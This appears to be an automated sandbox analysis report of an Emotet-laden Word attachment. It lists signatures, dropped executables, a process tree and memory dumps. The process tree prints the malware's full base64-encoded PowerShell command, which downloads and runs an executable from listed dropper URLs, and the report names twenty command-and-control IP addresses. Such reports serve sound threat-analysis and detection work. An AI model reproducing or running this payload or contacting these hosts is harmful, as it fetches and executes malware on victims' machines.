Analysis

  • max time kernel
    136s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    27/10/2020, 21:46

General

  • Target
    Attachments_20201028_3667195.doc
  • Size 169KB
  • Sample201027-rxst5m6592
  • SHA256 e18856b959462956deb7dad1abce58fa6e2ea2f2f3b6f1adc409404bebee6101
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://usasnet.com/forgottenl/gkT/

  • exe.dropper

    http://huwo.xyz/message/u/

  • exe.dropper

    https://agriseason.africa/wp-includes/Juv/

  • exe.dropper

    http://www.rylh.vip/abeka-9th/d9/

  • exe.dropper

    http://www.eos-promo.com/hk-sgp/Tg4/

  • exe.dropper

    https://prospershow.com/wp-content/I/

  • exe.dropper

    http://cplt20live.com/wp-includes/ae/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 78.206.229.130:80

  • 104.131.92.244:8080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 79.118.74.90:80

  • 82.76.111.249:443

  • 82.76.52.155:80

  • 212.71.237.140:8080

  • 188.251.213.180:80

  • 103.236.179.162:80

  • 1.226.84.243:8080

  • 70.32.84.74:8080

  • 2.84.12.98:80

  • 201.213.177.139:80

  • 177.73.0.98:443

  • 170.81.48.2:80

  • 129.232.220.11:8080

  • 177.144.130.105:8080

  • 213.52.74.198:80

  • 120.72.18.91:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Attachments_20201028_3667195.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3888
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IABTAEUAdAAtAFYAYQByAGkAQQBCAEwAZQAgACAAbgBhAGkAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADQAfQAiAC0AZgAgACcAUwBZAFMAJwAsACcAVAAnACwAJwBFAG0ALgBJAG8ALgBEAGkAUgAnACwAJwBlAGMAJwAsACcAVABvAHIAWQAnACkAIAAgACkAIAA7ACAAIABzAFYAIAAxAFYAQgAgACAAKABbAFQAWQBwAGUAXQAoACIAewAwAH0AewAxAH0AewA0AH0AewA2AH0AewAzAH0AewAyAH0AewA1AH0AIgAtAGYAIAAnAFMAWQBTAHQAZQBNAC4ATgBFAFQALgAnACwAJwBzAGUAJwAsACcARQBQAE8AaQBOACcALAAnAEMAJwAsACcAUgAnACwAJwB0AG0AQQBOAEEAZwBFAHIAJwAsACcAdgBJACcAKQApACAAOwAgACAAJABCADcAagB5ADcAawBxAD0AKAAnAEwAJwArACcAdQBkACcAKwAoACcAcQAnACsAJwBuAHkAMwAnACkAKQA7ACQARQA1AGsAYgBkAHoAMwA9ACQAUwBlAHEANwB1AGQAcgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgBiADEAdgA2ADYANQA7ACQAQQA3ADAAaQBwAGUAdQA9ACgAJwBTAHAAJwArACgAJwBwAG4AJwArACcAawAnACkAKwAnAGUAdwAnACkAOwAgACAAKAAgACAAZwBFAFQALQBDAGgASQBMAGQAaQB0AEUAbQAgACAAdgBBAHIAaQBhAGIAbABFADoATgBBAEkAKQAuAFYAYQBsAHUAZQA6ADoAIgBjAHIARQBgAEEAVABlAEQASQBSAGUAYwBgAFQAbwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ACcAKwAnADAAfQBYAGcAeQA3ADgAJwArACcAbwB1AHsAMAAnACsAJwB9AEYAaABvADAAJwArACcAawB5ADUAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAQQBSAF0AOQAyACkAKQA7ACQATAAyAGkAZwBpADkANgA9ACgAJwBLACcAKwAoACcAcgAnACsAJwBfADUAdQAnACkAKwAnADYAbwAnACkAOwAgACAAKAAgAGcAZQB0AC0AdgBBAHIAaQBhAGIAbABlACAAMQB2AEIAIAApAC4AVgBBAEwAdQBFADoAOgAiAHMAZQBgAGMAYABVAGAAUgBJAHQAeQBQAGAAUgBvAHQATwBDAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAVAB2AHEAcwAxAHUAaQA9ACgAKAAnAFAAJwArACcANQBmAGUAegAnACkAKwAnAGUAcwAnACkAOwAkAEkAcwB1AG0AYgBoAF8AIAA9ACAAKAAoACcATABnACcAKwAnAGcAZQAnACkAKwAoACcAdwAnACsAJwB5AGsAJwApACsAJwBjACcAKQA7ACQAQQA0ADAAZQAxAGMANwA9ACgAJwBWAHcAJwArACgAJwAxACcAKwAnAHkAZQAnACkAKwAnADUANwAnACkAOwAkAFEAdgBwADQAMQBrAGwAPQAoACgAJwBMAG8AJwArACcAbwB6ACcAKQArACcAawBhACcAKwAnAGQAJwApADsAJABMAGkAeQBrAGsAeQAxAD0AJABIAE8ATQBFACsAKAAoACgAJwBBACcAKwAnAGoAYwBYACcAKQArACgAJwBnAHkAJwArACcANwA4AG8AdQBBACcAKQArACcAagAnACsAKAAnAGMARgAnACsAJwBoAG8AJwApACsAKAAnADAAawAnACsAJwB5ADUAJwApACsAJwBBACcAKwAnAGoAYwAnACkALgAiAFIAYABlAGAAUABMAGEAQwBlACIAKAAoACcAQQAnACsAJwBqAGMAJwApACwAWwBzAHQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAEkAcwB1AG0AYgBoAF8AKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABKAHEAegAyAGsAcgA2AD0AKAAnAEcAZAAnACsAKAAnADYAcwAnACsAJwA0ACcAKQArACcANwBsACcAKQA7ACQASQBkAG8AZQBkAHYAeQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgBXAGUAQgBDAGwASQBFAE4AVAA7ACQAUQA4AGQAMQBxADYAYQA9ACgAJwBoACcAKwAnAHQAJwArACgAJwB0AHAAcwA6AFsAIAAnACsAJwB1AE4ASAAnACsAJwBzACAAJwApACsAKAAnAF0AWwAgACcAKwAnAHUATgAnACsAJwBIACcAKwAnAHMAIABdAHUAcwAnACkAKwAnAGEAJwArACcAcwAnACsAKAAnAG4AZQAnACsAJwB0AC4AJwArACcAYwBvAG0AWwAnACkAKwAoACcAIAB1ACcAKwAnAE4ASAAnACkAKwAnAHMAIAAnACsAJwBdACcAKwAnAGYAJwArACcAbwAnACsAJwByACcAKwAnAGcAbwAnACsAJwB0ACcAKwAoACcAdABlACcAKwAnAG4AbAAnACkAKwAoACcAWwAnACsAJwAgAHUATgBIAHMAIABdACcAKQArACcAZwBrACcAKwAoACcAVABbACAAdQAnACsAJwBOACcAKQArACgAJwBIAHMAJwArACcAIAAnACkAKwAoACcAXQBAACcAKwAnAGgAdAAnACsAJwB0AHAAOgBbACcAKQArACgAJwAgAHUAJwArACcATgAnACkAKwAoACcASABzACcAKwAnACAAXQBbACcAKwAnACAAdQBOAEgAcwAnACkAKwAoACcAIABdAGgAdQAnACsAJwB3ACcAKQArACgAJwBvAC4AJwArACcAeAB5ACcAKwAnAHoAWwAnACkAKwAnACAAdQAnACsAJwBOACcAKwAnAEgAJwArACcAcwAnACsAKAAnACAAJwArACcAXQBtAGUAJwArACcAcwBzACcAKQArACgAJwBhAGcAZQBbACcAKwAnACAAJwArACcAdQBOACcAKQArACcASABzACcAKwAoACcAIABdACcAKwAnAHUAJwApACsAKAAnAFsAJwArACcAIAB1ACcAKQArACgAJwBOAEgAcwAgACcAKwAnAF0AQABoACcAKQArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAnAHMAJwArACcAOgBbACcAKwAoACcAIAB1ACcAKwAnAE4ASABzACcAKQArACgAJwAgACcAKwAnAF0AWwAnACkAKwAoACcAIAB1ACcAKwAnAE4AJwApACsAKAAnAEgAcwAnACsAJwAgACcAKQArACcAXQAnACsAJwBhAGcAJwArACcAcgAnACsAKAAnAGkAcwAnACsAJwBlAGEAJwApACsAJwBzACcAKwAoACcAbwBuAC4AJwArACcAYQBmAHIAJwArACcAaQBjAGEAWwAgAHUATgAnACkAKwAoACcASABzACAAXQAnACsAJwB3AHAAJwArACcALQAnACsAJwBpAG4AJwApACsAKAAnAGMAJwArACcAbAB1ACcAKQArACcAZAAnACsAJwBlAHMAJwArACgAJwBbACcAKwAnACAAdQBOAEgAJwArACcAcwAgAF0AJwApACsAKAAnAEoAJwArACcAdQB2ACcAKQArACcAWwAnACsAJwAgAHUAJwArACcATgBIACcAKwAnAHMAJwArACcAIAAnACsAKAAnAF0AQABoAHQAJwArACcAdABwADoAWwAgAHUATgBIACcAKwAnAHMAIABdACcAKwAnAFsAIAAnACkAKwAoACcAdQBOAEgAcwAgACcAKwAnAF0AdwB3AHcAJwArACcALgAnACkAKwAoACcAcgAnACsAJwB5AGwAaAAnACsAJwAuAHYAJwApACsAJwBpAHAAJwArACgAJwBbACcAKwAnACAAdQBOAEgAJwApACsAKAAnAHMAIAAnACsAJwBdACcAKQArACgAJwBhACcAKwAnAGIAZQBrAGEALQA5ACcAKwAnAHQAJwArACcAaABbACAAJwArACcAdQBOAEgAcwAnACkAKwAnACAAXQAnACsAJwBkADkAJwArACcAWwAnACsAKAAnACAAJwArACcAdQBOACcAKQArACgAJwBIACcAKwAnAHMAIABdAEAAaAB0ACcAKwAnAHQAcAAnACkAKwAnADoAWwAnACsAKAAnACAAdQBOACcAKwAnAEgAcwAnACkAKwAoACcAIAAnACsAJwBdAFsAIAB1AE4AJwApACsAKAAnAEgAcwAgACcAKwAnAF0AdwAnACkAKwAoACcAdwB3ACcAKwAnAC4AZQBvAHMALQBwAHIAbwAnACsAJwBtACcAKwAnAG8AJwArACcALgBjAG8AbQAnACkAKwAoACcAWwAgACcAKwAnAHUAJwApACsAKAAnAE4ASAAnACsAJwBzACAAJwApACsAKAAnAF0AJwArACcAaABrACcAKwAnAC0AcwBnACcAKQArACcAcAAnACsAKAAnAFsAJwArACcAIAB1AE4ASABzACcAKwAnACAAJwApACsAKAAnAF0AVAAnACsAJwBnADQAWwAnACkAKwAoACcAIAB1AE4ASAAnACsAJwBzACcAKwAnACAAXQBAAGgAJwArACcAdAB0ACcAKwAnAHAAcwAnACkAKwAoACcAOgBbACcAKwAnACAAJwApACsAJwB1AE4AJwArACcASAAnACsAKAAnAHMAJwArACcAIABdAFsAJwApACsAJwAgAHUAJwArACgAJwBOAEgAJwArACcAcwAgACcAKQArACgAJwBdAHAAcgAnACsAJwBvACcAKQArACgAJwBzAHAAJwArACcAZQByACcAKwAnAHMAaABvAHcAJwArACcALgAnACkAKwAoACcAYwBvACcAKwAnAG0AWwAgACcAKwAnAHUATgAnACkAKwAnAEgAJwArACcAcwAgACcAKwAnAF0AdwAnACsAKAAnAHAAJwArACcALQBjACcAKQArACgAJwBvAG4AJwArACcAdAAnACkAKwAoACcAZQBuACcAKwAnAHQAWwAgACcAKQArACcAdQAnACsAKAAnAE4AJwArACcASABzACcAKQArACcAIABdACcAKwAoACcASQAnACsAJwBbACAAJwApACsAKAAnAHUAJwArACcATgAnACsAJwBIAHMAIABdAEAAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACsAJwBbACAAdQBOAEgAJwApACsAJwBzACAAJwArACgAJwBdAFsAJwArACcAIAB1ACcAKQArACgAJwBOAEgAcwAgACcAKwAnAF0AYwBwAGwAJwApACsAJwB0ADIAJwArACcAMAAnACsAKAAnAGwAJwArACcAaQB2AGUALgBjAG8AJwApACsAKAAnAG0AJwArACcAWwAgACcAKQArACgAJwB1AE4AJwArACcASAAnACkAKwAoACcAcwAnACsAJwAgAF0AdwBwACcAKQArACgAJwAtAGkAJwArACcAbgBjACcAKQArACcAbAAnACsAKAAnAHUAJwArACcAZABlACcAKQArACcAcwAnACsAKAAnAFsAIAB1ACcAKwAnAE4AJwArACcASABzACcAKwAnACAAXQBhAGUAWwAgAHUAJwApACsAJwBOAEgAJwArACgAJwBzACAAJwArACcAXQAnACkAKQAuACIAcgBFAFAATABBAGAAYwBlACIAKAAoACgAJwBbACAAJwArACcAdQBOAEgAJwApACsAKAAnAHMAIAAnACsAJwBdACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACcAZgBzACcAKQBbADAAXQApAC4AIgBzAGAAcABMAGkAdAAiACgAJABIAHcAMABjADcAawBsACAAKwAgACQARQA1AGsAYgBkAHoAMwAgACsAIAAkAE0AXwB6AG0AegBoADMAKQA7ACQATgBwAGwAeQBlAGUAaQA9ACgAJwBUAHkAJwArACcAdAAnACsAKAAnAHgAJwArACcAcAA0AGcAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFEAYgBqAHEAOAA4AGcAIABpAG4AIAAkAFEAOABkADEAcQA2AGEAKQB7AHQAcgB5AHsAJABJAGQAbwBlAGQAdgB5AC4AIgBkAGAATwBXAE4ATABgAE8AQQBEAEYAaQBsAEUAIgAoACQAUQBiAGoAcQA4ADgAZwAsACAAJABMAGkAeQBrAGsAeQAxACkAOwAkAEIAYQBvAHkAYgBhAHAAPQAoACcARABfACcAKwAoACcAagAnACsAJwBrADQAcwBjACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEwAaQB5AGsAawB5ADEAKQAuACIAbABlAE4AYABHAHQAaAAiACAALQBnAGUAIAAzADAAOQA0ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAJwArACcAaQBuADMAMgBfACcAKQArACgAJwBQAHIAJwArACcAbwAnACkAKwAoACcAYwBlACcAKwAnAHMAcwAnACkAKQApAC4AIgBjAFIAZQBBAGAAVABlACIAKAAkAEwAaQB5AGsAawB5ADEAKQA7ACQAQgAwAG4AdgB5AGoAZwA9ACgAKAAnAFYAbQBpACcAKwAnADMAegAnACkAKwAnAGwAegAnACkAOwBiAHIAZQBhAGsAOwAkAEQAawB5ADUAZAA0AHMAPQAoACgAJwBHAHUAZgAnACsAJwA2ADAAJwApACsAJwBtACcAKwAnAGkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAGwAbwA2ADQAMABwAD0AKAAoACcARgAnACsAJwBsAGkAJwApACsAKAAnAHoAJwArACcAaABsAHEAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1564
  • C:\Users\Admin\Xgy78ou\Fho0ky5\Lggewykc.exe
    C:\Users\Admin\Xgy78ou\Fho0ky5\Lggewykc.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3800
    • C:\Windows\SysWOW64\KBDINPUN\adsmsext.exe
      "C:\Windows\SysWOW64\KBDINPUN\adsmsext.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:2720
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NgcSvc
    1⤵
      PID:3052
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
      1⤵
        PID:3516
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s NgcCtnrSvc
        1⤵
        • Modifies data under HKEY_USERS
        PID:2572

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/1564-6-0x00007FFB21C90000-0x00007FFB2267C000-memory.dmp

            memory/1564-7-0x000001C1D7A60000-0x000001C1D7A61000-memory.dmp

            memory/1564-8-0x000001C1D7E10000-0x000001C1D7E11000-memory.dmp

            memory/2720-15-0x00000000021D0000-0x0000000002203000-memory.dmp

            memory/2720-16-0x0000000002220000-0x0000000002251000-memory.dmp

            memory/3800-11-0x0000000002370000-0x00000000023A3000-memory.dmp

            memory/3800-12-0x00000000024D0000-0x0000000002501000-memory.dmp

            memory/3888-0-0x00007FFB29940000-0x00007FFB29F77000-memory.dmp